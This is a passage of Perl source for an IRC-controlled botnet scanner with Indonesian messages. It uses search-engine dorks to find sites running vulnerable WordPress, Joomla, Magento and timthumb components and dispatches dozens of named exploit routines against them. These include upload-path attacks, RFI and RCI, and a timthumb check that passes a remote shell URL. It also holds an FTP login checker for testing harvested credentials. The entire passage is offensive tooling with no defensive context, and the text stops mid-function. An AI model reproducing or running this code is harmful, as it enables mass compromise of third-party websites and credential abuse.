$simpan = $nick; &msg("$chanxxx","9,1[4!9]12Lapor Si 4<9=4> 9$nick 12lagi scan di 4$path "); &msg("$path","$fluidformslogo9Dork 4<9=4>12 janda.php "); &msg("$path","$fluidformslogo9Search Engine 4<9=4>12 Wait proses ............. "); &se_start($path,$bug,$simpan,$dork,$engine,20); } } } if ($msg =~ /^$leoncmd\s+(.*)/) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { my ($bug,$dork) = ("modules/simpleslideshow/uploadimage.php",$1); my $simpan = $nick; &msg("$chanxxx","9,1[4!9]12Lapor Si 4<9=4> 9$nick 12lagi scan di 4$path "); &msg("$path","$leonlogo9Dork 4<9=4>12 janda.php "); &msg("$path","$leonlogo9Search Engine 4<9=4>12 Wait proses ............. "); &se_start($path,$bug,$simpan,$dork,$engine,21); } } } if ($msg =~ /^$pitchprintcmd\s+(.*)/) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { my ($bug,$dork) = ("wp-content/plugins/pitchprint/uploader/",$1); my $simpan = $nick; &msg("$chanxxx","9,1[4!9]12Lapor Si 4<9=4> 9$nick 12lagi scan di 4$path "); &msg("$path","$pitchprintlogo9Dork 4<9=4>12 janda.php "); &msg("$path","$pitchprintlogo9Search Engine 4<9=4>12 Wait proses ............. "); &se_start($path,$bug,$simpan,$dork,$engine,22); } } } if ($msg =~ /^$ghostcmd\s+(.*)/) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { my ($bug,$dork) = ("xmlrpc.php",$1); my $simpan = $nick; &msg("$chanxxx","9,1[4!9]12Lapor Si 4<9=4> 9$nick 12lagi scan di 4$path "); &msg("$path","$ghostlogo9Dork 4<9=4>12 janda.php "); &msg("$path","$ghostlogo9Search Engine 4<9=4>12 Wait proses ............. "); &se_start($path,$bug,$simpan,$dork,$engine,23); } } } if ($msg =~ /^$rightnowcmd\s+(.*)/) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { my ($bug,$dork) = ("xmlrpc.php",$1); my $simpan = $nick; &msg("$chanxxx","9,1[4!9]12Lapor Si 4<9=4> 9$nick 12lagi scan di 4$path "); &msg("$path","$rightnowlogo9Dork 4<9=4>12 janda.php "); &msg("$path","$rightnowlogo9Search Engine 4<9=4>12 Wait proses ............. "); &se_start($path,$bug,$simpan,$dork,$engine,50); } } } if ($msg =~ /^$projectcmd\s+(.*)/) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { my ($bug,$dork) = ("/wp-content/themes/dazzling/",$1); my $simpan = $nick; &msg("$chanxxx","9,1[4!9]12Lapor Si 4<9=4> 9$nick 12lagi scan di 4$path "); &msg("$path","$projectlogo9Dork 4<9=4>12 janda.php "); &msg("$path","$projectlogo9Search Engine 4<9=4>12 Wait proses ............. "); &se_start($path,$bug,$simpan,$dork,$engine,5049); } } } if ($msg =~ /^$magentocmd\s+(.*)/) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { my $dork = $1; my $simpan = $nick; &msg("$chanxxx","9,1[4!9]12Lapor Si 4<9=4> 9$nick 12lagi scan di 4$path "); &msg("$path","$magentologo9Dork 4<9=4>12 janda.php "); &msg("$path","$magentologo9Search Engine 4<9=4>12 Wait proses ............. "); &se_start($path,$bug,$simpan,$dork,$engine,80); } } } if ($msg =~ /^$magmicmd\s+(.*)/) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { my ($bug,$dork) = ("Logo Design by dewi",$1); my $simpan = $nick; &msg("$chanxxx","9,1[4!9]12Lapor Si 4<9=4> 9$nick 12lagi scan di 4$path "); &msg("$path","$magmilogo9Dork 4<9=4>12 janda.php "); &msg("$path","$magmilogo9Search Engine 4<9=4>12 Wait proses ............. "); &se_start($path,$bug,$simpan,$dork,$engine,51); } } } if ($msg =~ /^$wordpresscmd\s+(.*)/) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { my ($bug,$dork) = ("wp-content/plugins/justified-image-grid/download.php",$1); my $simpan = $nick; &msg("$chanxxx","9,1[4!9]12Lapor Si 4<9=4> 9$nick 12lagi scan di 4$path "); &msg("$path","$wordpresslogo9Dork 4<9=4>12 janda.php "); &msg("$path","$wordpresslogo9Search Engine 4<9=4>12 Wait proses ............. "); &se_start($path,$bug,$simpan,$dork,$engine,29); } } } if ($msg =~ /^$headwaycmd\s+(.*)/) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { my ($bug,$dork) = ("xmlrpc.php",$1); my $simpan = $nick; &msg("$chanxxx","9,1[4!9]12Lapor Si 4<9=4> 9$nick 12lagi scan di 4$path "); &msg("$path","$headwaylogo9Dork 4<9=4>12 janda.php "); &msg("$path","$headwaylogo9Search Engine 4<9=4>12 Wait proses ............. "); &se_start($path,$bug,$simpan,$dork,$engine,55); } } } if ($msg =~ /^$orangecmd\s+(.*)/) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { my ($bug,$dork) = ("xmlrpc.php",$1); my $simpan = $nick; &msg("$chanxxx","9,1[4!9]12Lapor Si 4<9=4> 9$nick 12lagi scan di 4$path "); &msg("$path","$orangelogo9Dork 4<9=4>12 janda.php "); &msg("$path","$orangelogo9Search Engine 4<9=4>12 Wait proses ............. "); &se_start($path,$bug,$simpan,$dork,$engine,69); } } } if ($msg =~ /^$rficmd\s+(.+?)\s+(.*)/) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { my ($bug,$dork) = ($1,$2); my $simpan = $nick; &msg("$chanxxx","9,1[4!9]12Lapor Si 4<9=4> 9$nick 12lagi scan di 4$path "); &msg("$path","$rfilogo9Dork 4<9=4>12 janda.php "); &msg("$path","$rfilogo9Search Engine 4<9=4>12 Wait proses ............. "); &se_start($path,$bug,$simpan,$dork,$engine,7678); } } } if ($msg =~ /^$valumscmd\s+(.*)/) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { my ($bug,$dork) = ("xmlrpc.php",$1); my $simpan = $nick; &msg("$chanxxx","9,1[4!9]12Lapor Si 4<9=4> 9$nick 12lagi scan di 4$path "); &msg("$path","$valumslogo9Dork 4<9=4>12 janda.php "); &msg("$path","$valumslogo9Search Engine 4<9=4>12 Wait proses ............. "); &se_start($path,$bug,$simpan,$dork,$engine,77); } } } if ($msg =~ /^$valums2cmd\s+(.*)/) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { my ($bug,$dork) = ("xmlrpc.php",$1); my $simpan = $nick; &msg("$chanxxx","9,1[4!9]12Lapor Si 4<9=4> 9$nick 12lagi scan di 4$path "); &msg("$path","$valums2logo9Dork 4<9=4>12 janda.php "); &msg("$path","$valums2logo9Search Engine 4<9=4>12 Wait proses ............. "); &se_start($path,$bug,$simpan,$dork,$engine,39); } } } if ($msg =~ /^$showbizcmd\s+(.*)/) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { my ($bug,$dork) = ("admin/manage_pages.php",$1); my $simpan = $nick; &msg("$chanxxx","9,1[4!9]12Lapor Si 4<9=4> 9$nick 12lagi scan di 4$path "); &msg("$path","$showbizlogo9Dork 4<9=4>12 janda.php "); &msg("$path","$showbizlogo9Search Engine 4<9=4>12 Wait proses ............. "); &se_start($path,$bug,$simpan,$dork,$engine,390); } } } if ($msg =~ /^$satoshicmd\s+(.*)/) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { my ($bug,$dork) = ("xmlrpc.php",$1); my $simpan = $nick; &msg("$chanxxx","9,1[4!9]12Lapor Si 4<9=4> 9$nick 12lagi scan di 4$path "); &msg("$path","$satoshilogo9Dork 4<9=4>12 janda.php "); &msg("$path","$satoshilogo9Search Engine 4<9=4>12 Wait proses ............. "); &se_start($path,$bug,$simpan,$dork,$engine,88); } } } if ($msg =~ /^$evolvecmd\s+(.*)/) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { my ($bug,$dork) = ("xmlrpc.php",$1); my $simpan = $nick; &msg("$chanxxx","9,1[4!9]12Lapor Si 4<9=4> 9$nick 12lagi scan di 4$path "); &msg("$path","$evolvelogo9Dork 4<9=4>12 janda.php "); &msg("$path","$evolvelogo9Search Engine 4<9=4>12 Wait proses ............. "); &se_start($path,$bug,$simpan,$dork,$engine,95); } } } if ($msg =~ /^$villagecmd\s+(.*)/) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { my ($bug,$dork) = ("xmlrpc.php",$1); my $simpan = $nick; &msg("$chanxxx","9,1[4!9]12Lapor Si 4<9=4> 9$nick 12lagi scan di 4$path "); &msg("$path","$villagelogo9Dork 4<9=4>12 janda.php "); &msg("$path","$villagelogo9Search Engine 4<9=4>12 Wait proses ............. "); &se_start($path,$bug,$simpan,$dork,$engine,92); } } } if ($msg =~ /^$obokcmd\s+(.*)/) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { my ($bug,$dork) = ("index.php?option=com_jce&task=plugin&plugin=imgmanager&file=imgmanager&version=1576&cid=20",$1); my $simpan = $nick; &msg("$chanxxx","9,1[4!9]12Lapor Si 4<9=4> 9$nick 12lagi scan di 4$path "); &msg("$path","$oboklogo9Dork 4<9=4>12 janda.php "); &msg("$path","$oboklogo9Search Engine 4<9=4>12 Wait proses ............. "); &se_start($path,$bug,$simpan,$dork,$engine,4077); } } } if ($msg =~ /^$ampluscmd\s+(.*)/) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { my ($bug,$dork) = ("xmlrpc.php",$1); my $simpan = $nick; &msg("$chanxxx","9,1[4!9]12Lapor Si 4<9=4> 9$nick 12lagi scan di 4$path "); &msg("$path","$ampluslogo9Dork 4<9=4>12 janda.php "); &msg("$path","$ampluslogo9Search Engine 4<9=4>12 Wait proses ............. "); &se_start($path,$bug,$simpan,$dork,$engine,86); } } } if ($msg =~ /^$coldFusioncmd\s+(.*)/) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { my ($bug,$dork) = ("wp-content/themes/ColdFusion/includes/uploadify/upload_settings_image.php",$1); my $simpan = $nick; &msg("$chanxxx","9,1[4!9]12Lapor Si 4<9=4> 9$nick 12lagi scan di 4$path "); &msg("$path","$coldFusionlogo9Dork 4<9=4>12 janda.php "); &msg("$path","$coldFusionlogo9Search Engine 4<9=4>12 Wait proses ............. "); &se_start($path,$bug,$simpan,$dork,$engine,8601); } } } if ($msg =~ /^$cameleoncmd\s+(.*)/) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { my ($bug,$dork) = ("xmlrpc.php",$1); my $simpan = $nick; &msg("$chanxxx","9,1[4!9]12Lapor Si 4<9=4> 9$nick 12lagi scan di 4$path "); &msg("$path","$cameleonlogo9Dork 4<9=4>12 janda.php "); &msg("$path","$cameleonlogo9Search Engine 4<9=4>12 Wait proses ............. "); &se_start($path,$bug,$simpan,$dork,$engine,60); } } } if ($msg =~ /^$testingcmd\s+(.*)/) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { my ($bug,$dork) = ("xmlrpc.php",$1); my $simpan = $nick; &msg("$chanxxx","9,1[4!9]12Lapor Si 4<9=4> 9$nick 12lagi scan di 4$path "); &msg("$path","$testinglogo9Dork 4<9=4>12 janda.php "); &msg("$path","$testinglogo9Search Engine 4<9=4>12 Wait proses ............. "); &se_start($path,$bug,$simpan,$dork,$engine,87); } } } if ($msg =~ /^$comfycmd\s+(.*)/) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { my ($bug,$dork) = ("xmlrpc.php",$1); my $simpan = $nick; &msg("$chanxxx","9,1[4!9]12Lapor Si 4<9=4> 9$nick 12lagi scan di 4$path "); &msg("$path","$comfylogo9Dork 4<9=4>12 janda.php "); &msg("$path","$comfylogo9Search Engine 4<9=4>12 Wait proses ............. "); &se_start($path,$bug,$simpan,$dork,$engine,111); } } } if ($msg =~ /^$sempakcmd\s+(.*)/) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { my ($bug,$dork) = ("xmlrpc.php",$1); my $simpan = $nick; &msg("$chanxxx","9,1[4!9]12Lapor Si 4<9=4> 9$nick 12lagi scan di 4$path "); &msg("$path","$sempaklogo9Dork 4<9=4>12 janda.php "); &msg("$path","$sempaklogo9Search Engine 4<9=4>12 Wait proses ............. "); &se_start($path,$bug,$simpan,$dork,$engine,2421); } } } if ($msg =~ /^$charcoalcmd\s+(.*)/) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { my ($bug,$dork) = ("xmlrpc.php",$1); my $simpan = $nick; &msg("$chanxxx","9,1[4!9]12Lapor Si 4<9=4> 9$nick 12lagi scan di 4$path "); &msg("$path","$charcoallogo9Dork 4<9=4>12 janda.php "); &msg("$path","$charcoallogo9Search Engine 4<9=4>12 Wait proses ............. "); &se_start($path,$bug,$simpan,$dork,$engine,318); } } } if ($msg =~ /^$strangecmd\s+(.*)/) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { my ($bug,$dork) = ("xmlrpc.php",$1); my $simpan = $nick; &msg("$chanxxx","9,1[4!9]12Lapor Si 4<9=4> 9$nick 12lagi scan di 4$path "); &msg("$path","$strangelogo9Dork 4<9=4>12 janda.php "); &msg("$path","$strangelogo9Search Engine 4<9=4>12 Wait proses ............. "); &se_start($path,$bug,$simpan,$dork,$engine,222); } } } if ($msg =~ /^$thegalaucmd\s+(.*)/) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { my ($bug,$dork) = ("components/com_facileforms/libraries/jquery/uploadify.php",$1); my $simpan = $nick; &msg("$chanxxx","9,1[4!9]12Lapor Si 4<9=4> 9$nick 12lagi scan di 4$path "); &msg("$path","$thegalaulogo9Dork 4<9=4>12 janda.php "); &msg("$path","$thegalaulogo9Search Engine 4<9=4>12 Wait proses ............. "); &se_start($path,$bug,$simpan,$dork,$engine,52); } } } if ($msg =~ /^$picacmd\s+(.*)/) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { my ($bug,$dork) = ("server/php.php",$1); my $simpan = $nick; &msg("$chanxxx","9,1[4!9]12Lapor Si 4<9=4> 9$nick 12lagi scan di 4$path "); &msg("$path","$picalogo9Dork 4<9=4>12 janda.php "); &msg("$path","$picalogo9Search Engine 4<9=4>12 Wait proses ............. "); &se_start($path,$bug,$simpan,$dork,$engine,797); } } } if ($msg =~ /^$hwdcmd\s+(.*)/) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { my ($bug,$dork) = ("galau",$1); my $simpan = $nick; &msg("$chanxxx","9,1[4!9]12Lapor Si 4<9=4> 9$nick 12lagi scan di 4$path "); &msg("$path","$hwdlogo9Dork 4<9=4>12 janda.php "); &msg("$path","$hwdlogo9Search Engine 4<9=4>12 Wait proses ............. "); &se_start($path,$bug,$simpan,$dork,$engine,4989); } } } if ($msg =~ /^$pricerrcmd\s+(.*)/) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { my ($bug,$dork) = ("wp-content/themes/PricerrTheme",$1); my $simpan = $nick; &msg("$chanxxx","9,1[4!9]12Lapor Si 4<9=4> 9$nick 12lagi scan di 4$path "); &msg("$path","$pricerrlogo9Dork 4<9=4>12 janda.php "); &msg("$path","$pricerrlogo9Search Engine 4<9=4>12 Wait proses ............. "); &se_start($path,$bug,$simpan,$dork,$engine,7013); } } } if ($msg =~ /^$vircmd\s+(.*)/) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { my ($bug,$dork) = ("/wp-content/plugins/wpdatatables/",$1); my $simpan = $nick; &msg("$chanxxx","9,1[4!9]12Lapor Si 4<9=4> 9$nick 12lagi scan di 4$path "); &msg("$path","$virlogo9Dork 4<9=4>12 janda.php "); &msg("$path","$virlogo9Search Engine 4<9=4>12 Wait proses ............. "); &se_start($path,$bug,$simpan,$dork,$engine,7019); } } } if ($msg =~ /^$joomlacmd\s+(.*)/) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { my ($bug,$dork) = ("mambots/editors/fckeditor/editor/filemanager/browser/default/browser.html",$1); my $simpan = $nick; &msg("$chanxxx","9,1[4!9]12Lapor Si 4<9=4> 9$nick 12lagi scan di 4$path "); &msg("$path","$joomlalogo9Dork 4<9=4>12 janda.php "); &msg("$path","$joomlalogo9Search Engine 4<9=4>12 Wait proses ............. "); &se_start($path,$bug,$simpan,$dork,$engine,68); } } } if ($msg =~ /^$rxcmd\s+(.*)/) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { my ($bug,$dork) = ("modules/mod_raxo_allmode/tools/tb.php",$1); my $simpan = $nick; if ($bug =~ m/^\//){ &msg("$path","9,1[4!9]Bug nya gak usah pakek \/ di depan :p "); exit; } else { if (&isFound($thumbid,"GIF89")) { &msg("$chanxxx","9,1[4!9]15Report 4<9=4> 9$nick 15is scanning RX on 4$path "); &msg("$path","$rxlogo9Dork 4<9=4>15 $dork "); &msg("$path","$rxlogo9Bugz 4<9=4>15 sempak.php "); &msg("$path","$rxlogo9Search Engine 4<9=4>15 Wait Loading.....! "); &se_start($path,$bug,$simpan,$dork,$engine,9); } else { &msg("$path","9,1[4!9]Injector 4<9=4>15 Lost!!! "); exit; } } } } } if ($msg =~ /^$autocmd\s+(.*)/) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { if (&isFound($thumbid,"GIF89")) { my ($bug,$dork) = ("/xmlrpc.php",$1); &msg("$path","$autologo9Search Engine 4<9=4>4 "); &se_start($path,$bug,$nick,$dork,$engine,4076); } else { &msg("$path","9,1[4!9]Injector 4<9=4>4 Lost!!! "); } } } } if ($msg =~ /^$timtestcmd\s+(.*)/) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { my ($bug,$dork) = ("wp-content/themes/inspire/thumb.php",$1); my $simpan = $nick; if ($bug =~ m/^\//){ &msg("$path","9,1[4!9]Bug nya gak usah pakek \/ di depan :p "); exit; } else { if (&isFound($thumbid,"GIF89")) { &msg("$chanxxx","9,1[4!9]15Report 4<9=4> 9$nick 15is scanning RX on 4$path "); &msg("$path","$timtestlogo9Dork 4<9=4>15 $dork "); &msg("$path","$timtestlogo9Bugz 4<9=4>15 sempak.php "); &msg("$path","$timtestlogo9Search Engine 4<9=4>15 Wait Loading.....! "); &se_start($path,$bug,$simpan,$dork,$engine,2020); } else { &msg("$path","9,1[4!9]Injector 4<9=4>15 Lost!!! "); exit; } } } } } if ($msg =~ /^$jcecmd\s+(.*)/) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { my ($bug,$dork) = ("index.php?option=com_jce&task=plugin&plugin=imgmanager&file=imgmanager&version=1576&cid=20",$1); my $simpan = $nick; &msg("$chanxxx","9,1[4!9]12Lapor Si 4<9=4> 9$nick 12lagi Coli JcE di 4$path "); &msg("$path","$jcelogo9Dork 4<9=4>12 $dork "); &msg("$path","$jcelogo9Search Engine 4<9=4>12 Wait proses ............. "); &se_start($path,$bug,$simpan,$dork,$engine,5); } } } if ($msg =~ /^$rcicmd\s+(.*)/) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { my ($bug,$dork) = ("ofc_upload_image.php",$1); my $simpan = $nick; &msg("$chanxxx","9,1[4!9]15Lapor 4<9=4> 9$nick 15lagi scan RcI di 4$path "); &msg("$path","$rcilogo9Dork 4<9=4>15 $dork "); &msg("$path","$rcilogo9Search Engine 4<9=4>15 Wait Loading.....! "); &se_start($path,$bug,$simpan,$dork,$engine,7); } } } if ($msg =~ /^$ftpcmd\s+(.+?)\s+(.*)\s+(.*)/) { my $url = $_[0]; my $host = $_[1]; my $user = $_[2]; my $pass = $_[3]; if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { my ($host,$user,$pass) = ($1,$2,$3); &msg("$path","9,1[4!9]FTP 4<9=4>15 Checking $host | $user:$pass"); my $success = 1; use Net::FTP; my $ftp = Net::FTP->new($host, Debug => 0, Timeout => 5); $success = 0 if $ftp->login($user,$pass); $ftp->quit; if ($success == 0) { ¬ice("$nick","15,1 [9FTP15] [ 9http://".$host." 15] [".$user.":".$pass."15] 9Success "); } else { ¬ice("$nick","15,1 [9FTP15] [ 9http://".$host." 15] [".$user.":".$pass."15] 4Denied "); } } } } } } for(my $c=0; $c<= $#lines; $c++) { $line = $lines[$c]; $line = $line_temp.$line if ($line_temp); $line_temp = ''; $line =~ s/\r$//; unless ($c == $#lines) { parse("$line"); } else { if ($#lines == 0) { parse("$line"); } elsif ($lines[$c] =~ /\r$/) { parse("$line"); } elsif ($line =~ /^(\S+) NOTICE AUTH :\*\*\*/) { parse("$line"); } else { $line_temp = $line; } } } } } ################################################################################## sub lobex() { my $dork = $_[0]; my @targets; for (my $st=0; $st<=1000 ; $st+=100){ my $engine = "http://www.google.com/search?q=".uri_escape($dork)."&num=100&start=".$st; my $browser = &search_engine_query($engine); while ($browser =~ m/ 0) { foreach my $site(@target) { $count++; if ($count == $num-1) { &msg("$chan","$carilogo9Finished 15for 9$dork "); } my $test = "http://".$site.".php?src=".$thumbshell; if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { my $coba = &get_content($test); if ($coba =~ /Unable to open image/) { &msg($chan,"$carilogo9 VulN 4-> 15 http://".$site.".php "); } } exit; } } } } sub type() { my ($chan,$bug,$simpan,$dork,$engine,$type) = @_; if ($type == 1){$type=&revslider_exploit($chan,$bug,$simpan,$dork,$engine);} elsif ($type == 9){$type=&rx_exploit($chan,$bug,$simpan,$dork,$engine);} elsif ($type == 101010){$type=&skyfashion_exploit($chan,$bug,$simpan,$dork,$engine);} elsif ($type == 5049){$type=&project_exploit($chan,$bug,$simpan,$dork,$engine);} elsif ($type == 2198){$type=&plog_exploit($chan,$bug,$simpan,$dork,$engine);} elsif ($type == 31315){$type=&ploggerb_exploit($chan,$bug,$simpan,$dork,$engine);} elsif ($type == 0210){$type=&jmultimedia_exploit($chan,$bug,$simpan,$dork,$engine);} elsif ($type == 4077){$type=&obok_exploit($chan,$bug,$simpan,$dork,$engine);} elsif ($type == 8601){$type=&coldFusion_exploit($chan,$bug,$simpan,$dork,$engine);} elsif ($type == 2287){$type=&oscthumb_exploit($chan,$bug,$simpan,$dork,$engine);} elsif ($type == 313131){$type=&vb_exploit($chan,$bug,$simpan,$dork,$engine);} elsif ($type == 3678){$type=&thumbphp_exploit($chan,$bug,$simpan,$dork,$engine);} elsif ($type == 2020){$type=&timtest_exploit($chan,$bug,$simpan,$dork,$engine);} elsif ($type == 2192){$type=&event_exploit($chan,$bug,$simpan,$dork,$engine);} elsif ($type == 755){$type=&snippets_exploit($chan,$bug,$simpan,$dork,$engine);} elsif ($type == 343){$type=&plupload_exploit($chan,$bug,$simpan,$dork,$engine);} elsif ($type == 4076){$type=&auto_exploit($chan,$bug,$nick,$dork,$engine);} elsif ($type == 222){$type=&strange_exploit($chan,$bug,$simpan,$dork,$engine);} elsif ($type == 52){$type=&thegalau_exploit($chan,$bug,$simpan,$dork,$engine);} elsif ($type == 232323){$type=&themify_exploit($chan,$bug,$simpan,$dork,$engine);} elsif ($type == 282828){$type=&dm_exploit($chan,$bug,$simpan,$dork,$engine);} elsif ($type == 663){$type=&joomleague_exploit($chan,$bug,$simpan,$dork,$engine);} elsif ($type == 111){$type=&comfy_exploit($chan,$bug,$simpan,$dork,$engine);} elsif ($type == 714){$type=&Flutter_exploit($chan,$bug,$simpan,$dork,$engine);} elsif ($type == 7140){$type=&ojs_exploit($chan,$bug,$simpan,$dork,$engine);} elsif ($type == 2421){$type=&sempak_exploit($chan,$bug,$simpan,$dork,$engine);} elsif ($type == 131313){$type=&zionis_exploit($chan,$bug,$simpan,$dork,$engine);} elsif ($type == 7){$type=&rci_exploit($chan,$bug,$simpan,$dork,$engine);} elsif ($type == 7678){$type=&rfi_exploit($chan,$bug,$simpan,$dork,$engine);} elsif ($type == 78799){$type=&blogs_exploit($chan,$bug,$simpan,$dork,$engine);} elsif ($type == 87){$type=&testing_exploit($chan,$bug,$simpan,$dork,$engine);} elsif ($type == 797){$type=&pica_exploit($chan,$bug,$simpan,$dork,$engine);} elsif ($type == 80){$type=&magento_exploit($chan,$bug,$simpan,$dork,$engine);} elsif ($type == 513){$type=&Elegant_exploit($chan,$bug,$simpan,$dork,$engine);} elsif ($type == 68){$type=&joomla_exploit($chan,$bug,$simpan,$dork,$engine);} elsif ($type == 50){$type=&rightnow_exploit($chan,$bug,$simpan,$dork,$engine);} elsif ($type == 318){$type=&charcoal_exploit($chan,$bug,$simpan,$dork,$engine);} elsif ($type == 69){$type=&orange_exploit($chan,$bug,$simpan,$dork,$engine);} elsif ($type == 92){$type=&village_exploit($chan,$bug,$simpan,$dork,$engine);} elsif ($type == 95){$type=&evolve_exploit($chan,$bug,$simpan,$dork,$engine);} elsif ($type == 86){$type=&lus_exploit($chan,$bug,$simpan,$dork,$engine);} elsif ($type == 55){$type=&headway_exploit($chan,$bug,$simpan,$dork,$engine);} elsif ($type == 88){$type=&satoshi_exploit($chan,$bug,$simpan,$dork,$engine);} elsif ($type == 735){$type=&wpmax_exploit($chan,$bug,$simpan,$dork,$engine);} elsif ($type == 77){$type=&valums_exploit($chan,$bug,$simpan,$dork,$engine);} elsif ($type == 39){$type=&valums2_exploit($chan,$bug,$simpan,$dork,$engine);} elsif ($type == 999){$type=&tim_exploit($chan,$bug,$simpan,$dork,$engine);} elsif ($type == 2424){$type=&ketumbar_exploit($chan,$bug,$simpan,$dork,$engine);} elsif ($type == 51){$type=&magmi_exploit($chan,$bug,$simpan,$dork,$engine);} elsif ($type == 5){$type=&jce_exploit($chan,$bug,$simpan,$dork,$engine);} elsif ($type == 918){$type=&bazar_exploit($chan,$bug,$simpan,$dork,$engine);} elsif ($type == 77777){$type=&av_exploit($chan,$bug,$simpan,$dork,$engine);} elsif ($type == 10){$type=&adsmanager_exploit($chan,$bug,$simpan,$dork,$engine);} elsif ($type == 11){$type=&avada_exploit($chan,$bug,$simpan,$dork,$engine);} elsif ($type == 12){$type=&striking_exploit($chan,$bug,$simpan,$dork,$engine);} elsif ($type == 1244){$type=ccf_exploit($chan,$bug,$simpan,$dork,$engine);} elsif ($type == 121213){$type=&sex_exploit($chan,$bug,$simpan,$dork,$engine);} elsif ($type == 13){$type=&cuckoobizz_exploit($chan,$bug,$simpan,$dork,$engine);} elsif ($type == 15){$type=&nevada_exploit($chan,$bug,$simpan,$dork,$engine);} elsif ($type == 16){$type=&melrose_exploit($chan,$bug,$simpan,$dork,$engine);} elsif ($type == 17){$type=&design_exploit($chan,$bug,$simpan,$dork,$engine);} elsif ($type == 76761){$type=&revedit_exploit($chan,$bug,$simpan,$dork,$engine);} elsif ($type == 361){$type=&rokbox_exploit($chan,$bug,$simpan,$dork,$engine);} elsif ($type == 18){$type=&formcraft_exploit($chan,$bug,$simpan,$dork,$engine);} elsif ($type == 168){$type=&phpthumb_exploit($chan,$bug,$simpan,$dork,$engine);} elsif ($type == 70789){$type=&box_exploit($chan,$bug,$simpan,$dork,$engine);} elsif ($type == 1019){$type=&phpthumb1_exploit($chan,$bug,$simpan,$dork,$engine);} elsif ($type == 9121){$type=&phpthumb2_exploit($chan,$bug,$simpan,$dork,$engine);} elsif ($type == 22222){$type=&jgfw_exploit($chan,$bug,$simpan,$dork,$engine);} elsif ($type == 66666){$type=&zogo_exploit($chan,$bug,$simpan,$dork,$engine);} elsif ($type == 237){$type=&wpremix3_exploit($chan,$bug,$simpan,$dork,$engine);} elsif ($type == 494){$type=&mk4_exploit($chan,$bug,$simpan,$dork,$engine);} elsif ($type == 4948){$type=&comfy1_exploit($chan,$bug,$simpan,$dork,$engine);} elsif ($type == 638){$type=&portfolio_exploit($chan,$bug,$simpan,$dork,$engine);} elsif ($type == 782){$type=&alphacontent_exploit($chan,$bug,$simpan,$dork,$engine);} elsif ($type == 88888){$type=&yt_exploit($chan,$bug,$simpan,$dork,$engine);} elsif ($type == 19){$type=&assets_exploit($chan,$bug,$simpan,$dork,$engine);} elsif ($type == 191920){$type=&assets1_exploit($chan,$bug,$simpan,$dork,$engine);} elsif ($type == 20){$type=&fluidforms_exploit($chan,$bug,$simpan,$dork,$engine);} elsif ($type == 12151){$type=&coldFusion1_exploit($chan,$bug,$simpan,$dork,$engine);} elsif ($type == 0702){$type=&alphauserpoints_exploit($chan,$bug,$simpan,$dork,$engine);} elsif ($type == 21){$type=&leon_exploit($chan,$bug,$simpan,$dork,$engine);} elsif ($type == 22){$type=&pitchprint_exploit($chan,$bug,$simpan,$dork,$engine);} elsif ($type == 390){$type=&showbiz_exploit($chan,$bug,$simpan,$dork,$engine);} elsif ($type == 4989){$type=&hwd_exploit($chan,$bug,$simpan,$dork,$engine);} elsif ($type == 247){$type=&freshpage_exploit($chan,$bug,$simpan,$dork,$engine);} elsif ($type == 7013){$type=&pricerr_exploit($chan,$bug,$simpan,$dork,$engine);} elsif ($type == 7019){$type=&vir_exploit($chan,$bug,$simpan,$dork,$engine);} elsif ($type == 29){$type=&wordpress_exploit($chan,$bug,$simpan,$dork,$engine);} elsif ($type == 23){$type=&ghost_exploit($chan,$bug,$simpan,$dork,$engine);} elsif ($type == 29){$type=&thumb_exploit($chan,$bug,$simpan,$dork,$engine);} } ################################################################################## sub se_start() { my ($chan,$bug,$simpan,$dork,$engine,$type) = @_; if ($engine =~ /googleCA/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"GooGLeCA",$type); } exit; } } if ($engine =~ /googleDE/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if 